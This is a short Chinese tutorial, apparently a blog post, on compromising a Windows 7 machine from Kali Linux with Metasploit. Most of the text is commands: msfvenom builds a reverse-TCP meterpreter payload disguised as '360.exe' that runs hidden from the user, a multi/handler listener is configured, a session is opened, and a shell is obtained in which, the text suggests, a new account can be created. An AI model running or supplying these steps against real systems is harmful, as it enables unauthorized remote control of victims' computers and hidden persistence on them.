***程序:当执行这个程序时,隐藏的恶意程序在用户不知情的情况下也会执行,在内存中运行

写***文件,并赋予权限

root@kali:~#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.48.123 lport=33389 -f exe > 360.exe
root@kali:~#chmod 777 360.exe


配置网络信息

开启PostgreSQL:  service postgresql start
开启metasploit:  service metasploit start

root@kali:~# msfconsole

kali之***Win7系统1_第1张图片

msf > use exploit/multi/handler
msf exploit(handler) > set lhost 192.168.48.123
msf exploit(handler) > set lport 33389
 msf exploit(handler) > exploit -z -j
msf exploit(handler) > sessions
msf exploit(handler) > sessions -i 1

kali之***Win7系统1_第2张图片

meterpreter > shell 进入shell里可以在此处创建账户密码

kali之***Win7系统1_第3张图片

查看系统信息,用户权限

kali之***Win7系统1_第4张图片


kali之***Win7系统1_第5张图片